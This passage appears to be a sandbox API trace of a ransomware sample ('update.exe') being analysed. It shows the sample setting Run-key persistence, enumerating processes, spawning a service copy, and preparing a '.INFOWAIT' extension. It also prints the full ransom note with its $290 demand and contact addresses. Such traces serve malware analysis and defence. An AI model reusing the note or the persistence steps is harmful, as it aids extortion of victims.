(hDesktop=0x0) returned 0 [0118.454] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.454] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.455] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.455] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.455] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.455] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.455] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.455] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.455] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.455] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.455] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.455] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.455] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.455] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.455] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.455] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.455] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.455] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.455] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.455] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.455] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.455] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.455] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.455] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.455] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0122.235] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x41c0db) returned 0x40972f [0122.238] GetCurrentProcess () returned 0xffffffff [0122.238] GetLastError () returned 0x0 [0122.239] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0122.239] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x189f9c | out: phkResult=0x189f9c*=0xbc) returned 0x0 [0122.239] RegQueryValueExW (in: hKey=0xbc, lpValueName="SysHelper", lpReserved=0x0, lpType=0x189f90, lpData=0x18b070, lpcbData=0x189fb8*=0x400 | out: lpType=0x189f90*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart", lpcbData=0x189fb8*=0xd4) returned 0x0 [0122.239] RegCloseKey (hKey=0xbc) returned 0x0 [0122.239] lstrlenA (lpString="\" --AutoStart") returned 13 [0122.239] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned 1 [0122.241] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsAutoStart IsNotTask" [0122.241] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsAutoStart IsNotTask", pNumArgs=0x18d0d0 | out: pNumArgs=0x18d0d0) returned 0x6dd5d8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0122.241] lstrcpyW (in: lpString1=0x18f598, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0122.241] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsAutoStart IsNotTask" [0122.241] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsAutoStart IsNotTask", pNumArgs=0x18d064 | out: pNumArgs=0x18d064) returned 0x6dd5d8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0122.241] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned="update.exe" [0122.241] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x773e0000 [0122.242] GetProcAddress (hModule=0x773e0000, lpProcName="EnumProcesses") returned 0x0 [0122.242] GetProcAddress (hModule=0x773e0000, lpProcName="EnumProcessModules") returned 0x0 [0122.242] GetProcAddress (hModule=0x773e0000, lpProcName="GetModuleBaseNameW") returned 0x0 [0122.242] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x770c0000 [0122.243] GetProcAddress (hModule=0x770c0000, lpProcName="EnumProcesses") returned 0x770c1544 [0122.243] GetProcAddress (hModule=0x770c0000, lpProcName="EnumProcessModules") returned 0x770c1408 [0122.243] GetProcAddress (hModule=0x770c0000, lpProcName="GetModuleBaseNameW") returned 0x770c152c [0122.243] EnumProcesses (in: lpidProcess=0x182860, cb=0xa000, lpcbNeeded=0x18d070 | out: lpidProcess=0x182860, lpcbNeeded=0x18d070) returned 1 [0122.244] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0122.244] CloseHandle (hObject=0x0) returned 0 [0122.244] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0122.244] CloseHandle (hObject=0x0) returned 0 [0122.244] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0122.244] CloseHandle (hObject=0x0) returned 0 [0122.244] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0122.244] CloseHandle (hObject=0x0) returned 0 [0122.245] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0122.245] CloseHandle (hObject=0x0) returned 0 [0122.245] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0122.245] CloseHandle (hObject=0x0) returned 0 [0122.245] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0122.245] CloseHandle (hObject=0x0) returned 0 [0122.245] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c8) returned 0x0 [0122.245] CloseHandle (hObject=0x0) returned 0 [0122.245] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0x0 [0122.245] CloseHandle (hObject=0x0) returned 0 [0122.245] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d8) returned 0x0 [0122.245] CloseHandle (hObject=0x0) returned 0 [0122.245] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0122.245] CloseHandle (hObject=0x0) returned 0 [0122.245] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0122.245] CloseHandle (hObject=0x0) returned 0 [0122.245] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0122.245] CloseHandle (hObject=0x0) returned 0 [0122.245] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x33c) returned 0x0 [0122.245] CloseHandle (hObject=0x0) returned 0 [0122.245] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x374) returned 0x0 [0122.245] CloseHandle (hObject=0x0) returned 0 [0122.245] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b0) returned 0x0 [0122.245] CloseHandle (hObject=0x0) returned 0 [0122.245] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3fc) returned 0x0 [0122.245] CloseHandle (hObject=0x0) returned 0 [0122.246] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x30c) returned 0xbc [0122.246] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0122.246] CloseHandle (hObject=0xbc) returned 1 [0122.246] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x370) returned 0xbc [0122.246] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0122.246] CloseHandle (hObject=0xbc) returned 1 [0122.246] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x414) returned 0xbc [0122.246] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0122.246] CloseHandle (hObject=0xbc) returned 1 [0122.246] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x0 [0122.246] CloseHandle (hObject=0x0) returned 0 [0122.246] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x500) returned 0x0 [0122.246] CloseHandle (hObject=0x0) returned 0 [0122.246] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x53c) returned 0xbc [0122.246] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0122.246] CloseHandle (hObject=0xbc) returned 1 [0122.246] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x54c) returned 0x0 [0122.246] CloseHandle (hObject=0x0) returned 0 [0122.247] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x570) returned 0xbc [0122.247] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0122.247] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="reader_sl.exe") returned 0xd [0122.248] CloseHandle (hObject=0xbc) returned 1 [0122.248] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0122.248] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0122.250] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="update.exe") returned 0xa [0122.250] CloseHandle (hObject=0xbc) returned 1 [0122.250] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0122.250] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0122.251] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="update.exe") returned 0xa [0122.251] CloseHandle (hObject=0xbc) returned 1 [0122.251] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7ac) returned 0xbc [0122.251] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0122.252] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="update.exe") returned 0xa [0122.252] CloseHandle (hObject=0xbc) returned 1 [0122.252] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6dd7a0, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe")) returned 0x5b [0122.252] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3") returned 1 [0122.252] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsAutoStart IsNotTask" [0122.252] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsAutoStart IsNotTask", pNumArgs=0x18d0d0 | out: pNumArgs=0x18d0d0) returned 0x6de7c0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0122.252] lstrcpyW (in: lpString1=0x455b98, lpString2="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC" | out: lpString1="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC") returned="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC" [0122.252] lstrcpyW (in: lpString1=0x45d0c8, lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0122.253] lstrcmpW (lpString1="IsAutoStart", lpString2="IsAutoStart") returned 0 [0122.257] lstrcmpW (lpString1="IsTask", lpString2="IsNotTask") returned 1 [0122.258] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}") returned 0xbc [0122.258] SetLastError (dwErrCode=0x0) [0122.258] GetCurrentProcessId () returned 0x7f8 [0122.258] lstrcatW (in: lpString1="2040", lpString2=" " | out: lpString1="2040 ") returned="2040 " [0122.258] lstrcatW (in: lpString1="2040 ", lpString2="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC" | out: lpString1="2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC") returned="2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC" [0122.258] lstrcatW (in: lpString1="2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC", lpString2=" " | out: lpString1="2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC ") returned="2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC " [0122.258] lstrcatW (in: lpString1="2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC ", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0122.258] lstrcpyW (in: lpString1=0x18e598, lpString2="\"" | out: lpString1="\"") returned="\"" [0122.258] lstrcatW (in: lpString1="\"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0122.258] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", lpString2="\" --Service " | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service ") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service " [0122.258] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service ", lpString2="2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0122.258] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18d268*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18d1a8 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40", lpProcessInformation=0x18d1a8*(hProcess=0xc4, hThread=0xc0, dwProcessId=0x494, dwThreadId=0x4ac)) returned 1 [0122.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40e230, lpParameter=0x44e648, dwCreationFlags=0x0, lpThreadId=0x44e628 | out: lpThreadId=0x44e628*=0x4d8) returned 0xcc [0122.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC", cchWideChar=-1, lpMultiByteStr=0x6e57b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC", lpUsedDefaultChar=0x0) returned 41 [0122.264] CryptAcquireContextW (in: phProv=0x18d064, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18d064*=0x6de820) returned 1 [0122.281] CryptCreateHash (in: hProv=0x6de820, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18d068 | out: phHash=0x18d068) returned 1 [0122.282] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC") returned 40 [0122.282] CryptHashData (hHash=0x6de938, pbData=0x6e5be0, dwDataLen=0x28, dwFlags=0x0) returned 1 [0122.282] CryptGetHashParam (in: hHash=0x6de938, dwParam=0x2, pbData=0x0, pdwDataLen=0x18d06c, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18d06c) returned 1 [0122.282] CryptGetHashParam (in: hHash=0x6de938, dwParam=0x2, pbData=0x6e5b18, pdwDataLen=0x18d06c, dwFlags=0x0 | out: pbData=0x6e5b18, pdwDataLen=0x18d06c) returned 1 [0122.284] GetLastError () returned 0x0 [0122.284] SetLastError (dwErrCode=0x0) [0122.284] GetLastError () returned 0x0 [0122.285] SetLastError (dwErrCode=0x0) [0122.285] lstrcatA (in: lpString1="", lpString2="55" | out: lpString1="55") returned="55" [0122.285] GetLastError () returned 0x0 [0122.285] SetLastError (dwErrCode=0x0) [0122.285] GetLastError () returned 0x0 [0122.285] SetLastError (dwErrCode=0x0) [0122.285] lstrcatA (in: lpString1="55", lpString2="11" | out: lpString1="5511") returned="5511" [0122.285] GetLastError () returned 0x0 [0122.285] SetLastError (dwErrCode=0x0) [0122.285] GetLastError () returned 0x0 [0122.285] SetLastError (dwErrCode=0x0) [0122.285] lstrcatA (in: lpString1="5511", lpString2="15" | out: lpString1="551115") returned="551115" [0122.285] GetLastError () returned 0x0 [0122.285] SetLastError (dwErrCode=0x0) [0122.285] GetLastError () returned 0x0 [0122.285] SetLastError (dwErrCode=0x0) [0122.285] lstrcatA (in: lpString1="551115", lpString2="89" | out: lpString1="55111589") returned="55111589" [0122.285] GetLastError () returned 0x0 [0122.285] SetLastError (dwErrCode=0x0) [0122.285] GetLastError () returned 0x0 [0122.285] lstrcatA (in: lpString1="55111589", lpString2="B0" | out: lpString1="55111589B0") returned="55111589B0" [0122.285] GetLastError () returned 0x0 [0122.285] lstrcatA (in: lpString1="55111589B0", lpString2="EC" | out: lpString1="55111589B0EC") returned="55111589B0EC" [0122.286] GetLastError () returned 0x0 [0122.286] lstrcatA (in: lpString1="55111589B0EC", lpString2="54" | out: lpString1="55111589B0EC54") returned="55111589B0EC54" [0122.286] GetLastError () returned 0x0 [0122.286] lstrcatA (in: lpString1="55111589B0EC54", lpString2="D4" | out: lpString1="55111589B0EC54D4") returned="55111589B0EC54D4" [0122.286] GetLastError () returned 0x0 [0122.286] lstrcatA (in: lpString1="55111589B0EC54D4", lpString2="AC" | out: lpString1="55111589B0EC54D4AC") returned="55111589B0EC54D4AC" [0122.286] GetLastError () returned 0x0 [0122.286] lstrcatA (in: lpString1="55111589B0EC54D4AC", lpString2="A0" | out: lpString1="55111589B0EC54D4ACA0") returned="55111589B0EC54D4ACA0" [0122.286] GetLastError () returned 0x0 [0122.286] lstrcatA (in: lpString1="55111589B0EC54D4ACA0", lpString2="E7" | out: lpString1="55111589B0EC54D4ACA0E7") returned="55111589B0EC54D4ACA0E7" [0122.286] GetLastError () returned 0x0 [0122.286] lstrcatA (in: lpString1="55111589B0EC54D4ACA0E7", lpString2="CA" | out: lpString1="55111589B0EC54D4ACA0E7CA") returned="55111589B0EC54D4ACA0E7CA" [0122.286] GetLastError () returned 0x0 [0122.286] lstrcatA (in: lpString1="55111589B0EC54D4ACA0E7CA", lpString2="15" | out: lpString1="55111589B0EC54D4ACA0E7CA15") returned="55111589B0EC54D4ACA0E7CA15" [0122.286] GetLastError () returned 0x0 [0122.286] lstrcatA (in: lpString1="55111589B0EC54D4ACA0E7CA15", lpString2="9C" | out: lpString1="55111589B0EC54D4ACA0E7CA159C") returned="55111589B0EC54D4ACA0E7CA159C" [0122.286] GetLastError () returned 0x0 [0122.286] lstrcatA (in: lpString1="55111589B0EC54D4ACA0E7CA159C", lpString2="C0" | out: lpString1="55111589B0EC54D4ACA0E7CA159CC0") returned="55111589B0EC54D4ACA0E7CA159CC0" [0122.286] GetLastError () returned 0x0 [0122.287] lstrcatA (in: lpString1="55111589B0EC54D4ACA0E7CA159CC0", lpString2="AB" | out: lpString1="55111589B0EC54D4ACA0E7CA159CC0AB") returned="55111589B0EC54D4ACA0E7CA159CC0AB" [0122.287] CryptDestroyHash (hHash=0x6de938) returned 1 [0122.287] CryptReleaseContext (hProv=0x6de820, dwFlags=0x0) returned 1 [0122.287] lstrlenA (lpString="55111589B0EC54D4ACA0E7CA159CC0AB") returned 32 [0122.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18d070, cbMultiByte=-1, lpWideCharStr=0x6e6dd8, cchWideChar=1035 | out: lpWideCharStr="!readme.txt") returned 12 [0122.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6e5b78, cbMultiByte=-1, lpWideCharStr=0x6e8448, cchWideChar=2165 | out: lpWideCharStr="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned 1142 [0122.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18d070, cbMultiByte=-1, lpWideCharStr=0x6e6dd8, cchWideChar=1033 | out: lpWideCharStr=".INFOWAIT") returned 10 [0122.290] GetUserNameW (in: lpBuffer=0x18db98, pcbBuffer=0x18d0d4 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18d0d4) returned 1 [0122.293] GetLastError () returned 0x0 [0122.295] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0122.295] RegisterClassExW (param_1=0x18d050) returned 0xc128 [0122.295] CreateWindowExW (dwExStyle=0x0, lpClassName="LPCWSTRszWindowClass", lpWindowName="LPCWSTRszTitle", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x3014a [0122.303] 